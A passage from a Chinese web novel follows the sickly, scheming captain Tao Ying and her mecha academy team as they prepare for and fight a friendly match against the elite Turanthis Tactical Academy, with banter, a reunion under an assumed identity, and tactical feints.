片刻后，变形的驾驶舱大门哐啷两下，冒出白气，随后舱门打开。 陶影躺在驾驶座上，侧过头，取下头盔，笑意盈盈地朝她们比了个V字。 “哟，打得不错。” “不错你个头啊！”林别歌很想一巴掌拍队长脑袋上，但想到她这一巴掌下去，可能直接把人拍没了，只能气冲冲地收回手。 “你招数也太阴间了吧？” “能赢不就行了。”陶影摊手。 南卦凑上去。 “没事吧？刚刚我们叫你呢，怎么那么久不说话？” 陶影看了一眼光脑数据，还算正常。 “刚晕过去了，你俩要不先把我拉出去？” 队友一人一只手，把陶影从机甲拉了出去。 白助教擦汗：“这届新生真是一个比一个恐怖。” 同学：“都是南卦和林别歌同学在输出，体质F同学从头到尾都躺着，赢得好容易。” 姬亦靠在椅背上，嘴角轻轻上挑：“不，躺着的那个说不定才是最难对付的。” “激发出部下的潜力，是指挥官不得不品的一环。” 白助教冷漠道：“请不要代入自己折磨部下的场景。” “总之……白颖刚才是为了逼队友出手吧？”伊琳娜扶住墨镜，终于发现一点自己能看懂的。 姬亦惊讶：“你能看出来？” “不，只是见过类似性格的缺德人士。” 伊琳娜不知道想起谁，脸色一黑，将手里的杯子捏得咔咔作响。 陶影跳下机甲，晃眼看到一头卷发的伊琳娜正在观战区和姬亦对话。 嗯？她什么时候来的？ 算了，好久没见，这个时间倒也正好。 陶影顿了一下，脚步轻快，迎着阳光，跨越战术区朝旧友走去。 随后满脸笑容停在伊琳娜面前，朝她伸出手。 “你好，我是白颖。” 伊琳娜被这名学生笑得心里莫名一跳。 怎么回事，这个笑容有种非常熟悉的感觉。 很欠揍。 但片刻后她低下头来。 ……错觉吧。 虽然她前几天喝醉酒，发酒疯说如果某人出现在她面前，就要抽死她，但人死了怎么可能活过来。 伊琳娜叹了口气，心道自己真是魔怔了。 她伸出手回握。 学生的体质很弱，手也非常细弱，伊琳娜轻轻一握，她的手腕就红了一圈。 ……以陶影的性格，就算要诈尸，也不可能选这么柔弱的身体。 伊琳娜收回手，又恢复了总裁模式。 她对陶影道：“你认识我？” 陶影笑容慈祥：“是啊，我很久以前就认识你了。” 伊琳娜想了想：“从星网头条？哦，确实，我经常因为各种原因上热搜。” 陶影：“……” 前些天联系伊琳娜的时候，陶影直接用了她的惯用ID——S，可以说暗示很明显了。 以她和伊琳娜往常的默契，这种时候已经相认。 结果伊琳娜竟然毫无反应。 她看这人前几天真心难过，冒着被抽死的风险，特意露出一点破绽来着。 陶影摸摸下巴。 既然没发现，那马甲就先穿着吧。 …… 伊琳娜临时接到公司电话，说要开会，就开着迷你私人穿梭舰离开了。 战术模拟区的机甲受损，正在修复，等待下一队同学使用。 观战的空档期，姬亦拿着本文件过来，朝太空女鬼队的三人挥挥。 “有一件事情要告诉你们。” “我之前跟朋友打赌，争取到一场图兰提斯战术学院的友谊赛。你们今天既然赢了，就准备一下友谊赛吧。” “正好你们要参加机甲联赛，就当提前练习练习。” 哦——姬老师帮她们安排了一场友谊赛。 对手是图兰提斯战术学院。 观战区的同学们颤抖着手。 那可是图兰提斯啊！ 帝国建国之初，就存在的机甲学院之一，历史悠久，培养过好几任一级指挥官，盛名在外。 重指挥，重战术规划，机甲驾驶也不赖的全方位老牌军校！ 图兰提斯去年联赛好像进入了前十强？ “……” 林别歌不可置信指着自己：“您，您是说，让我们跟二级军校打友谊赛吗……？” 就她们这个三级军校都不如的水平？ 姬亦懒懒点头：“是啊，别让我失望。” 林别 歌僵硬地转过脖子：“影子你快说点什么，我有点窒息，感觉要晕过去了。” “啊？”陶影眯着眼，一脸我没听清的表情，“我刚刚又吐血了，打急救呢，等会儿再说。” “是，是我的错，我来得还不够快，害得小影受伤……”南卦一边流泪一边想死。 医生接到陶影的电话匆匆赶来。 “是谁，谁要死了？” 陶影举手：“我。” 同学们齐声：“南卦同学说如果白颖同学死了她也不活了。” 林别歌默默举起手：“现在再加一个我……”—— 作者有话说：医生：…… 陶影：吐个血而已，日常操作，莫慌。 第53章 莱门市的夜晚本就很寂静,陶影住的地方，因为在治安不错的区域，显得更安静了。 客厅电视在放美食节目,但纯粹起到一个背景音的作用。 林别歌看着满桌的食物食不下咽。 南卦手里拿着速写本，眼神空洞,唰唰落笔。仔细一看，她在画些黑暗触手人体之类的东西,不能直视。 两个人都在为友谊赛焦虑。 陶影在院子接了个电话,挂断后,走进屋内，朝队友打了个手势。 两位队友立刻蹦了起来。 “是姬亦老师的电话吗？” 陶影点头：“嗯,她说友谊赛已经安排好了,就在下个星期。” “这么快！” “毕竟马上就是高校机甲联赛了,图兰提斯的一年级生要准备比赛，只有下周能抽出时间。” 南卦咬着指甲,语气慌乱：“我完全没在现实里跟人对战过，怎么办？” 林别歌焦虑的点不太一样。 “真要打？海选赛没剩多少时间了,不需要养精蓄锐一下吗。” 前几天影子刚吐血了，被医生留在医疗舱，检查很久才放出来。问题看上去挺严重的,毕竟谁家好人动不动吐血。 但是任凭她跟南卦追问，影子也只说没事。 林别歌再次：“你真的不再休息休息？” “不用，我身体没问题。” “没什么大问题。”面对队友质疑的眼神，陶影补充道。 就是一些乱七八糟闻所未闻的小毛病全集一身而已，某种意义上来说状态还挺稳定的。 就是吐血看上去有点吓人。 见队友一脸不信，陶影只能认真解释。 “真的不严重，医生说是脑同步干扰综合症。大脑和身体不匹配,神经信号紊乱，导致局部肌肉异常放电，有时候影响到毛细血管，所以会吐血。” “通俗一点来说，身体和大脑的反应错位，吃点药就好了。” 林别歌狐疑：“你不是哄我的吧？” 陶影扶额：“这有什么好撒谎的。” “那当时医生怎么留你那么久。” “哦，因为医生给我列了一长串的注意事项，其中有一条是建议我多做点轻松的运动，锻炼脑部和身体的连接，要不我现在就遵守医嘱，运动一下？” “躺着吧你！” 一阵插科打诨后，两位室友又眉头紧皱起来。 陶影想了想，从兜里掏出一个东西，抛了过去。 林别歌下意识抬手一接，摊开手心。 疑惑道：“什么啊？” 南卦和林别歌的脑袋凑到一块，仔细研究。 是个门牌形式的金属胸针，全黑色打底，萤光绿的字体，一股子黑客极简风。尾端有附小吊环，可以挂在钥匙扣上。 胸针正中间写着127.0.0.1。 林别歌挠头：“我记得你之前说，这串127……什么东西是‘本回地址’来的？” 南卦举手回答：“我知道，本地回环地址，家的意思！” 林别歌：“好吧，你给我们这个做什么？” 陶影嘴角勾起，轻抬下巴：“翻过来看看。” 两人同时翻过来，胸针后面有一个迷你钮扣，碰了碰，似乎是发声收音模块。 还有定位模块。 “迷你通讯器+定位器，紧急时刻能用上。带着以防万一，你们要是在外面走丢了，或者被人骗走了，我可以把你们捞回来。” “谁捞谁啊，而且我才不要随身带，”林别歌一脸嫌弃，“你不会还在上面安了什么奇怪的东西吧？” “我是那种人吗？” 林别歌毫不迟疑：“你是。” 这次真没有，只是单纯出于安全考虑好不好。 见林别歌一脸不情愿，但还是偷摸把它塞进兜里，陶影笑了声，伸了个懒腰，头仰在沙发的靠背上。 小叶还在待机状态，停留在客厅角落充电，叫它也没反应。 这几天经常这样。 明明之前跟鬼一样，每天晚上到点就出现在陶影房间前，锲而不舍监督她按时睡觉。 好几天没来盯她，还有点不习惯。 估计是bug，唔，最近太忙了，过几天比赛结束修一下吧。 陶影在沙发上翻了个身，见两位队友还在焦虑，宽慰道：“这次友谊赛的对手是姬老师精挑细选的，不会太难对付。” “精挑细选了二级军校？” “尚可一战，”陶影看到队友一脸便秘的表情，嘴角扯了扯，“正常发挥就可以。练习心态也是比赛的一环，你们早点睡吧，明天还有课。” “你呢？” “打游戏。” “你才是，早点睡吧你。天天熬夜打游戏！”林别歌骂骂咧咧推着南卦上楼睡觉去了。 陶影进入了游戏。 猫核的小群多次有人私下敲她，问打不打副本，但陶影以她要爬天梯榜拒绝了。 副本里的虫族很少有超出陶影计算的时候。 但人不是写好的程序，也没有通过无数次测试。 人会出错。错误会带来变化。 和会犯错的人对战，显然更有挑战性。 再次进入对战前，陶影顺口问了一句：“猫核老师今天怎么没上线？” “哦，她最近比较忙，等她上线了我叫她。” “好。” 于是几个小时后，猫核上线，群员友情提醒。 “猫核，刚才S老师找你。” “什么什么！她找我什么事？又有隐藏副本吗？” 猫核心潮澎湃，点开私聊，一看玩家S在对战中。 哎朋友。 怎么每次见你都在对战中？ 一局至少要十分钟，猫核等得无聊，顺手点开的信息面板。 然后惊恐地发现玩家S的天梯榜排名上升了一百。 比她还高好几十名！ 可S老师这个胜率才20%，怎么做到的排名比她高…… 猫核一头雾水，下拉窗口，终于发现不对劲。 等下，这个场数是怎么回事？ 二百多场？是她的三倍！ 陶影打完一场出来，猫核忍不住小窗敲她：“S老师，你真的不睡觉的吗？” 为什么问这个？ 陶影不解地看了眼健康管家：“每天睡四个小时吧，最近可能再压缩一点。” “……”什么超绝精神力。 猫核想起正事：“对了，你刚刚在群里找我什么事？” “哦，没什么大事，就是顺口问一句。你不会是图兰提斯战术学院的新生吧？” “你怎么知道！” 猫核疑惑地翻了一下群聊，群里也没有提到学校相关的信息啊？这是她们的游戏群，全是聊天吹水。 陶影解释：“之前看到你们在讨论塔恩泽虫巢歼灭战，分析方式很学院派。” 猫核发来一个惊讶猫猫表情包。 “连这个都知道，你果然是哪个一级军校的学生吧，连我们的战术分析方式都了解得这么精准，是不是今年也要参加联赛？嘿嘿。” “说不定到时候能碰上，希望不要是敌人！” 陶影慈祥微笑：“希望如此。” …… 很快到了友谊赛当天。 比赛场地由图兰提斯战术学院全权提供，他们甚至还非常好心地派了学校的私有穿梭舰来到机特学院接人。 穿梭舰差不多两百人的容量。 侧面喷涂了图兰提斯的校纹 ，是交错的羽毛笔和剑，金灿灿的，一看就花了大价钱。 和缺乏经费的莱门大学机特学院不可同日而语。 大家陆陆续续排好队上舰。 差不多半个学院的学生都要去看比赛，穿梭舰上挤挤攘攘的，好半天所有学生才依次坐好。 姬亦站在最前面，敲敲手边的桌子。 “行了，别跟春游的小学生似的，安静。” 车内顿时噤声。 穿梭舰一路直达C区。 大家趴在窗户上，看着窗外的风景，一脸没见过世面的表情。 “哇，和这里比起来，我们学院的战术模拟区简直迷你。” 机特学院的模拟场占地300米见方，说实话，单机练习还好，打团战有点挤。 而这里面积几十倍不说，地形还很多变。 这甚至只是图兰提斯练习场的其中一个。 林别歌被震撼到，好半天才坐回椅子。 “话说姬老师哪里来的人脉……” 陶影有点晕车，靠在窗户上，闭着眼睛道：“唔，她经常跟图兰提斯的校长打牌吧。听说以前在战场上就认识。” 陶影简单解释了一下。 “什么？她以前是元帅！” 林别歌一个起身，撞到穿梭舰的行李架，引得众人侧目，她又弱弱地坐了下来。 林别歌好奇：“你怎么知道的？” “我是队长。” “这算什么回答？” 陶影轻眨一下左眼：“队长是万能的。” 行程差不多二十分钟，不算长，但意外难熬。 林别歌人高腿长，在穿梭舰上坐得浑身难受，她把椅背放下来，总算舒服了一点。 “穿梭舰已经到达图兰提斯第三训练场，请跟随指示入场。” 一下来，陶影就感觉到空气比莱门市干燥不少。 沙尘遍地，能见度不高。 连绵起伏的山丘，高低错落，像是古老的沙地城镇。 火种内其实也有类似的地图，但现实中的空气还是给人感觉不一样。 陶影喉咙有些发痒，只敢缓慢呼吸，但尚且敏感的毛细血管受到刺激。 她又咳出来一口老血。 哦，忘吃药了。 闭上眼睛熟练地处理好血迹之后，陶影面色淡淡地掏出背包里的应急药物，随手吃了一颗。 围观全程的同学们：“……” 吐血都要打比赛，要不要这么拼啊！—— 作者有话说：陶影：这破身体一堆bug但莫名能运行。 我们小影的病弱属性逐渐藏不住了x 第54章 “太拼命了吧。影子,你就这么想拿高校联赛的冠军？” “不止，”陶影失笑摇头，“我还要站上职业机甲联赛的冠军领奖台。” 职业机甲联赛？ 林别歌噎了一下。 那可是正儿八经的高端比赛,参加的都是职业选手，和她们根本沾不上边吧。 但林别歌还是高情商道：“理想挺远大的。” “理想谈不上。只是必须站到那个高度,才能得到我想要的东西。” “想要的东西？”林别歌一脸疑惑。 影子这人一直淡淡的，往好了说情绪稳定,往坏了说没什么情绪起伏,只有在玩弄队友的时候才会露出一点真心的笑容。 她有这么努力想要得到的东西,林别歌想象不出来。 林别歌干脆直接问：“你想要什么？” “唔，这个嘛……”陶影嘴角一挑,“为了复仇,我要获得足够的力量。” 信你个鬼。 林别歌哼哼两声：“别胡编了,你能吃什么亏啊，哪怕有人杀你,你也只会说‘手段太低劣，下次努力’,然后把杀你的人气死。” “那确实，想杀我不是那么容易的事，比格老师,你越来越懂我了。” 林别歌搓搓手臂上的鸡皮疙瘩。 “借杆子上爬的本事你也是一等一的，脸皮厚度能不能借我一点，你说是吧南瓜。……你干嘛呢？” 南卦突然开始吟诵咒语。 “我重生了，重生到他杀死我的那一天，此处省略五百字，这次，我一定要拿回属于我的一切！” 陶影、林别歌：“……” 你别说,虽然精神状态堪忧，但南卦抓住了重点。 陶影一边叹气一边鼓掌：“南瓜，你的洞察力时不时让我感到有点可怕，我起鸡皮疙瘩了。” “我随便说说的，”南卦有些不好意思，“其实我学过占卜，当时网上的大师说我有女巫血脉，非常难得，无论如何都要招收我为学徒，但我因为学费太贵就没有去。” 陶影重重点头：“我信。” 林别歌：“……”这两个人的脑回路究竟怎么回事，怎么看那位“大师”都是骗子吧。 不过目标啊。 林别歌挠挠头，想到目标这个词就有点自惭形秽。 南卦喜欢机甲文学，影子想开机甲。 为什么大家的人生目标都这么明确，难不成只有她什么目标都没有，成天想着混吃等死？ 吃能算目标不？ 陶影拊掌，“啪”一声，把大家从各自的思绪拉回现实。 “开始赛前准备！” …… 穿梭舰停在机甲整备区外，陶影小走几步路，来到室内。 机甲保存对环境的温度和湿度有要求，粉尘也不能太多。图兰提斯第三训练场黄沙漫天，机甲肯定不能露天存放，都被安置到室内。 这个机甲整备区空间巨大，固定机甲的锁扣，运输的弹射系统也一应俱全。 陶影大步向前走，咳了两声，又换成小步向前走。 机甲库里的机甲足足有三四百台。 通常，军校跟机甲商有合作，对于一些非常有名的军校，机甲商甚至免费提供机甲，比如帝国第一军校。 即便这样，帝国第一军校的机甲存量，差不多就几百台，不如这里。 这一大机库的机甲，全是图兰提斯自费购买的。 图兰提斯确实有钱任性。 陶影走了一圈，很快找到目标，招呼队友过来。 她们的机甲已经提前运输到了这里。 “嗯？我们今天要用的机甲不是VX-89吗？”林别歌吃惊。 面前是两台曙光-T4，一台愚者-MK2，并不是她们常用的VX-89。 “为什么要换？” 陶影解释道：“今年联赛海选赛使用的机型已经公布了。” 这两台都是海选赛批量采购的机型，小型机甲，大小重量和VX-89差不多。 曙光-T4，万金油机型，近可攻，退可守，和VX-89更接近，陶影和林别歌用这个。 愚者-MK2是强攻手，高攻低防，高敏捷，为了减轻重量，使用了比VX-89更精简的电力系统，整体看上去非常轻盈。 和南卦很适配。 南卦惊喜道：“愚者-MK2的武器配套有霜灭冰锤。” “嗯，特意找人配的。” 南卦之前在游戏里，用得最顺手的就是这个冰锤。 林别歌指了指自己：“为什么我没有新武器，还是平平无奇热力刀。就没有个什么狙击枪之类的？砰一下开枪，一枪一个多帅啊。” 陶影拍拍她的肩膀，摇头道：“比格老师，认同现实吧，我们队伍里没有一个适合架枪的。” 她们之前在火种里试过几十台狙击机型，大家的中靶率都非常差。 林别歌看着机甲库里的大型枪炮，有点失落地爬上机甲。 “哎，那就热力刀凑合着过吧，还能分手咋的……” 陶影这边帮忙调试一下机甲后，也上去了。 而图兰提斯战术小队的机甲选择是雾雨E-0087、圣律-A0和誓约者。 雾雨E-0087，辅助机型，天使一样的六片翅膀是它的特征。 圣律-A0，高输出机型，机体瘦长，手中的武器是一把剑，头顶还有光圈形态的光束。充满宗教的圣洁感。 誓约者，重装机型，攻守全 面。 强辅助，强输出，重防御，非常学院派的选择。 是图兰提斯带出来的兵。 陶影双手抱臂，手指在肘上点了几下。 林别歌小声：“这个雾雨E记得是猫核老师最爱用的机体，我对这六片翅膀记忆犹新。但印象中有点菜啊，我们之前在热渊迷宫的时候，它不是全程动不了。” 陶影：“因为它的散热模块被烧了，而热渊迷宫正好温度非常高，不代表它弱。” “带电子干扰的机型，在这种相对没有遮挡的场地，非常占优势，需要优先解决。” 陶影迅速定下了开场战术。 …… 备战区可以远远看到观众席。 陶影坐在驾驶舱内，拉近了一下镜头，姬亦和白助教正跟图兰提斯的校长坐在一起打牌，打得非常上头，看到她们三人开着机甲出来也毫无反应。 直到主持人出声提醒，他们几个才回过神。 “那么接下来，我们将进行入场点位上的抽取。” 观众席讨论。 “这个地形的话，最高点就在E23位置吧。要是能抢占最高点，胜率可以上升30%。” 孙荡：“你觉得我们学院赢的几率是多少？” “如果抢占到最高点，那应该能有30%的机会赢。”姚梦桃说。 30%-30%=0。 …… 姚梦桃的意思是随机到最高点以外的任何地形，他们学院都会输啊！ 在场的学生们大多是第一次来看比赛，虽说不一定是来加油的，但都不想看到自己的学校输。 就算他们对这个太空女鬼队没什么期待，但这可是跟二级军校的比赛。 如果能赢的话。 是不是能代表，他们那个总是被人说菜的机特学院其实也还不错？ 同学们都没说，但心里都有这么一点小小的希望火苗。 也许呢？ 也许能赢呢？ 就连被林别歌和南卦都狠狠揍过的孙荡，此刻心里也有点揪着。 要是能随机到最高点的话。 “宣布结果，图兰提斯战术小队抽到的是E23。” “啊啊啊啊！” “完了，这下输定了。” 观众席上传来一片惨嚎声。 “然后，莱门大学机特学院抽到的是……E22。” “跟E23挨得好近哦，应该也不错吧。” “你睁开看看呢，这是最差的签！” E23是最高点，而它旁边就是一个山谷。 E22就在山谷的最底部啊！ 那岂不是图兰提斯开局一炮下去，机特学院直接就团灭了！ 图兰提斯那边讨论了一阵，一个年轻学生俯身，在校长耳边说了什么。 校长点点头，扔出一张牌：“我们的学生主动提出可以再次抽签，说友谊第一比赛第二。” “哪来什么友谊，就是你牌桌上输给我了而已，”姬亦扔出手里的最后一张牌，“哦，我又赢了。” “哎，就没赢过你。抽签的事情怎么办？” “问问白颖吧，看她怎么说。” 同学们松了一口气，那就再抽一次呗，总不可能两次都抽到最差的牌吧？ 但远程联络后，陶影竟然拒绝了。 她说：“我觉得E22挺好的，就这个吧。” 白助教站起来，再确认了一次：“你确定？这可不是要面子的时候。” 三岁小孩都能看出来这个地形劣势，她不可能没看出来。 这人又在打什么主意。 孙荡抢过通讯器，急道：“低位本来就是下风了，三台在一起，很容易被围剿的，你再想想！” 陶影听见孙荡的声音，还反应了一会儿是谁，听出来之后笑出声。 “你之前还说要揍我们三个，现在怎么又担心我们赢不了？” “对外是对外，对内是对内！不要给我们机特学院丢脸。” “不会丢脸的，放心，肯定比你们打得好。” “你！” 旁边的姚梦桃摆摆手，让孙荡别说了：“体质F这人蔫儿坏，说不准有什么其它想法，你别管了。” “那再聪明，这情况也赢不了吧，对手可是二级军校，她当是我们这种菜鸡，按地上随便揍吗？” 周真：“……”怎么急起来连自己都骂。 一片混乱中，友谊赛开始了。 机特学院抽到了极烂的牌，而图兰提斯抽到了最好的牌。 堪称是一边倒的开局。 任谁看来这场比赛的胜负都毫无悬念，以至于图兰提斯跳过了队员见面的环节。 观众席上的图兰提斯学生无奈摊手。 他们也想看精彩的比赛，所以提出了重新抽取点位。 但对方不愿意啊。 “这还有打的必要吗？雾雨E放个干扰废掉她们的雷达和视野，誓约者再来一炮，一切就结束了，三秒钟的事。这场比赛的意义究竟在哪里？” 而赛场上的太空女鬼队——并不知道这些争论。 林别歌脑中还回想着队长刚才的话。 “记得这个型号吧？” “记得它的弱点是什么吧？” “记得我刚刚说的话吧？” 她当然记得。 林别歌闭了闭眼，再睁开时，多了几分坚定。 在开场哨声响起的一瞬间，林别歌毫无预兆，猛然跃起，避开誓约者直射而来的炮弹。 曙光-T4燃料烧灼的白烟，在空中划出一道高耸的弧线。 她跳上平台，然后，以迅雷不及掩耳之速度，在对方甚至没有转过身的时候。 以最为普通的武器。 像古壁画里弑神的骑士。 高抬手臂—— 随后一刀斩下雾雨E的所有羽翼。 第55章 林别歌这一击干脆利落。 雾雨E-0087的六片透明羽翼齐齐断裂,破碎地落在地上，翅膀中循环流动的冷却液从断裂处不断流下。 失去降温模块，它的能源核心开始飞速发烫,很快烧毁了一半。 “淦，什么情况！”雾雨E的机师发出尖锐的爆鸣声,“就差一点，我刚刚差一点就躲过去了！” “抱歉,小芮。我以为那台愚者会攻击,所以光注意轰她了,没想到另外一边会来攻击。” 一个女声道：“小芮，扔掉一半能源核心,不然会爆炸。” 雾雨E的机师——祝小芮迅速照做,她手指翻飞,按下操作台上的按钮。 但雾雨E的零件十分不给面子，就在这关键时刻卡住了。 机甲连接处喀哒喀哒直响,任祝小芮怎么动都弄不下来，圣律号的队友见状,赶忙一剑把她的连接护板砍断。 “还好还好，要是开局就输也太丢人了，谢谢学姐。”祝小芮轻呼一口气。 能源核心连接终于脱扣,雾雨E迅速跳开几十米。 急速坠落的核心，炸出眩目的火光。 一瞬间，整个赛场都是飞起的沙土。 爆裂声一路响彻观众席。 沉寂三秒后，观众席上的学生，不管哪个阵营，都齐齐发出一声疑惑的“啊？”。 那台曙光T4一个闪身就飞上了崖边的断阶，然后把雾雨E最核心的干扰和散热模块给砍掉了。 这是什么展开？ 他们眼睛出问题了？ 孙荡指着比赛场地,不可置信道：“刚刚那台曙光T4的操作者是林别歌？” 姚梦桃摊手：“当然是她，不然难道是白颖吗，要是那个脆皮队长，现在白助教已经坐不住，准备叫急救了。” 孙荡不解：“林别歌这人也就耐 力强，没什么爆发力，她怎么做到的？” 他低头沉思，片刻后突然反应过来。 “不会是白颖又调试过机甲系统吧？” “八九不离十，”周真肯定地点头，“曙光T4是万金油机型，为了保持稳定运行，性能限制比较高，超频才能达到这个速度。” 众人看向能源核心的气口，果然，从烟雾的形态来看，燃料的燃烧量明显超出平均水平。 曙光-T4也因为燃料的大幅燃烧，减轻一定重量。 林别歌的机甲，速度变得更快了。 姚梦桃感慨：“不愧是那个心蔫儿坏的脆皮队长。” “唔？”隔壁座的图兰提斯学生懵懵懂懂抬头，他被众人的议论声吵醒了。 听了一阵机特学院的讨论内容，该学生把头上的书放到胸口，单手撑头道。 “你们机特学院队长还要负责调试机甲啊？厉害。赛前准备也就二十分钟不到，要检查机甲，要根据场地战术规划，竟然还能抽出来时间调试机甲系统，必然不是简单人物，我看看，她叫什么名字……” “白颖？！” 那学生一个鲤鱼打挺从座位上蹦起来，兜帽滑下，露出一头红色卷发。 “怎么是她，医生不是说她不适合开机甲的吗！” “你认识她？”同学们满脸疑惑。 “算是吧，熟人的朋友。”那红毛不好意思地又坐下了。 有人认出这红色卷毛头是尹子航，今年联考第二名，机甲世家，跟柏氏工业的柏墨大魔王是青梅竹马。 但白颖怎么会和这种机甲世家扯上关系？ 姚梦桃心道该不会体质F的那些离奇事迹，已经跨越莱门大学，流传到图兰提斯战术学院了吧——但还没求证，尹子航便自说自话，缩到角落打电话去了，嘴里说着什么“小墨小墨你猜我刚才见到谁了”。 图兰提斯的同学小声凑过来：“你们的队长为什么会认识尹子航啊？” “不道啊。” 两拨同学面面相觑，都不知道是怎么回事，只得暂且搁置了这件事，注意力又回到赛场上。 林别歌正追着雾雨E-0087砍杀。 长时间的战斗，已经让图兰提斯彻底摸清了林别歌的水平。 三个字，不太行。 雾雨E的驾驶者，图兰提斯战术学院的一年级新生——祝小芮边打边退，一脸难以言喻的表情。 “这位林同学刚刚的霸气呢？帅不过三秒。攻击模式堪比小学生打群架，尽往人脸上招呼。” 祝小芮摸摸防护头盔上一对毛茸茸的猫耳朵，试图平稳心情。 又高又瘦的男性队友表示赞同：“看上去有种不怎么使用大脑的美感。” 图兰提斯战术学院，培养了无数指挥官，在战术运用上独树一帜，哪怕是一年级生，也已经上过了高强度的战术分析课。 人类历史也好，机甲联赛也好，足够精彩的战役、对战，都被他们翻来覆去分析了个遍。 一般的战术在她们眼里，根本就是过家家。 林别歌的各种操作，甚至每一处失误，在她们眼里都无所遁形。 除了一开始那一记攻击。 “雾雨E如果开场放出电子干扰，喷出的粒子会直接切断队伍通讯，瞬间影响战局，俗话说得好，‘开局先砍雾雨E’，哎。” “反正我每次都是被追着打的那个。” 祝小芮下巴搁在操作台上，一脸无奈。 雾雨E会受到攻击，在她们的战术演算范围之内，祝小芮和队友也有提前防范。 他们做足准备，却没有防住的理由是——对手预判了她们的防范。 且对此设置了计策。 强攻手，高输出，轻重量，不管怎么看，愚者MK2都是斩下雾雨E翅膀的绝佳机型。 但对手选择把它当作诱饵。 “愚者-MK2开局左侧佯动，吸引了学姐和我的注意力，而趁这个机会，她们兵分两路，真正的攻击从另一侧来。” “放着愚者-MK2这样现成的强攻手不用，使用曙光-T4来进行攻击，她们的队长倒也剑走偏锋。” “富贵险中求啊。” 输这一招，心服口服。 但就像刚才所说的，图兰提斯学院是数据派，几乎分析过所有的战役，手里有大量的战术蓝本。 就算场上只剩下一台机甲，要全灭敌人，图兰提斯人也有的是办法。 毕竟他们学院的创始者，西尔维娅斯托姆指挥官，曾经在塔恩泽虫巢歼灭战中以百分之一的兵力，全灭了整个虫巢。 而他们也以这个为目标努力。 图兰提斯从不让渡主动权，以前是，现在也是。 学姐敲敲耳麦。 “该反击了。” “怎么说？” “就用残缺的雾雨E引她们上钩。” …… 观众席。 “开场就来个大的，姬亦，你教的学生让人挺惊喜。” “我可没教过她，”姬亦再次扔下手里的牌，“我赢了。” 图兰提斯的校长啧了一声，重新洗牌。 “但这也是分析过的战术了，谁没有见过。第122届职业联赛的时候，有人用过类似的战术，那一次，我们图兰提斯的队伍照样赢了。” “下一张牌要怎么出，我的学生心里有数。” 旁边的学生接话道：“跟我们图兰提斯玩战术，简直是寡妇门前耍大刀！” “寡……什么？算了，跟我们图兰提斯玩战术，玩得过我们吗！” 观战的图兰提斯学生不知道什么时候，多了起来。 姬亦两手撑在身后，看着赛场上的六台机甲。 陶影和南卦依然在谷底躲避追击，而林别歌正追在祝小芮身后。 林别歌的身后，也有一台机体正凝视着她。 姬亦上身微微前倾，放下一张牌。 “不到最后，没人知道设下陷阱的是谁。” …… 雾雨E的翅膀几乎是整个设计的核心，如果翅膀没了，比普通机甲还要更累赘。 现在它就是一个活生生的靶子。 “怎么办影子？” “追。” 林别歌本来就沉浸在刚刚那帅气一刀的兴奋中，无法自拔，听见陶影的话，更是兴奋。 她乘胜追击。 雾雨E失去核心后，性能急速下降，和超频加速的曙光T4近乎同速。 雾雨E一路逃。 而林别歌一把热力刀在手，一路大砍特砍。 林别歌一步一步将雾雨E逼退至山谷边缘。沙地软，很快塌陷，雾雨E努力维持着不让自己坠落。 而林别歌正要一刀劈去它为数不多的能源核心的时候，雾雨E竟然转身往下一挑。 林别歌险些因为惯性冲出去，好在她抓住旁边的一棵树，旱地拔葱似的，把树从地里扯出来，借力往后一倒，机甲摇摇晃晃，一屁股坐在了地上。 “好险好险。”林别歌腿往前蹬了蹬，崖边的沙土不停滚落，她稳住机体，心中一片后怕。 面前是整个山谷。 空旷的山谷下，队友的机甲正立在其中。 她，和队友的机甲，正在一个直线上。 林别歌本能性地察觉哪里不太对劲。 刚刚雾雨E好像是自己主动跳下去的？而且下去之后，她就没有任何动静，仿佛从赛场中消失了？ 下一秒，背后传来炮弹装填的咔咔声。 林别歌缓慢回头。 圣律者俯视着她。 如同审判庭正在裁决异端者，他手中的剑深深插入地面。 身后的半圆形光圈，开始聚集起光线，金色光线不断变亮，随后更亮，直到刺得人睁不开眼睛为止。 耀环，高能激光束武器。 激光集束，其能量可以精准穿透机甲的装甲。 具体能穿透到哪里……就陶影她们使用的机型来说，大概能一炮轰穿三台。 观众席上传来一阵进入猴山般的返祖叫声。 “啊啊啊啊啊中计了，是圣律号的大招！” “穷寇莫追啊！队长怎么指挥的！” “完蛋，要团灭了！”—— 作者有话说：林别歌：为什么每次受伤的都是我？快说我什么都特别好。 陶影:我什么都特别好。 第56章 “对手使用了一招请君入瓮,看似慌乱逃走，实则趁机把林别歌引到危险区。图兰提斯杀死了比赛。” 机特学院的学生们嚎叫着。 “说好的友谊第一比赛第二呢！下手这 么狠！” 观众席的同学们宛如猴山上的猴子，跳上跳下,抓耳挠腮。赛场上打得热火朝天，观众席也一片针锋相对。 白助教手里握着急救电话,神色古怪。 “这把不太对，体质F同学竟然没有发觉对方的计策。” 姬亦摸了一把牌,耸耸肩膀：“相信自己在战场多年的直觉,你怎么知道她没发现？” 白助教眉头一皱,听元帅这个话，难道体质F同学还有后招？ 有同学指着矮地上贴在一起的曙光-T4和愚者-MK2。 这台愚者-MK2机体纤长,全身粉色涂装,关节连接处带着一点紫,给人感觉像是一只被黎明微光染色的蝴蝶。 而曙光T4，则泛着古朴的黑,外表没什么特点，像是哪座荒山里开凿的磐石。 蝴蝶靠近了磐石。 两台机甲的手在空中击掌,随后十指交握。 曙光-T4和愚者-MK2的手掌。 紧紧握在一起。 同学们：“……” “她们为什么突然拉手？”孙荡匪夷所思。 “为了共同抵御即将到来的攻击。哦我的宇宙之神，那种世界末日前，交错的炮火中,我和你牵手直面命运的宿命感有了。” “你别说这个画面有点美，我浅嗑一口。” 这是图兰提斯的某位同学，关注点已经偏到不知道哪里去。 只有机特学院的众人还在注重比赛，他们很快察觉到“防守”这个判断并不对劲。 因为南卦同学伸出了右手。 “呃，我看她这个动作不像是要防守，倒像是要攻击。” “雾雨E在崖底瘫着，圣律者在一百多米外的山谷上。她举锤子能攻击谁,队友吗？” 前方同学：“报告，南卦同学大力抡动了冰锤！” “她旋转手臂助力了一下，然后华丽丽地把冰锤扔出去了，方向是——啊？” 那同学提高嗓音，似乎有点不敢相信。 “方向是，是林别歌的后脑勺……” 而林别歌对此并不知情。 她和脑袋后面挂着半个圣洁光圈的圣律者面对面，大脑正在飞速旋转。 她想的是：“圣律者头上那光圈是啥？” 对手的机甲都是今天临时选择的，陶影也没时间给她分析太多。 是以林别歌对圣律者武器的了解寥寥无几。 这光圈看上去很厉害的样子。 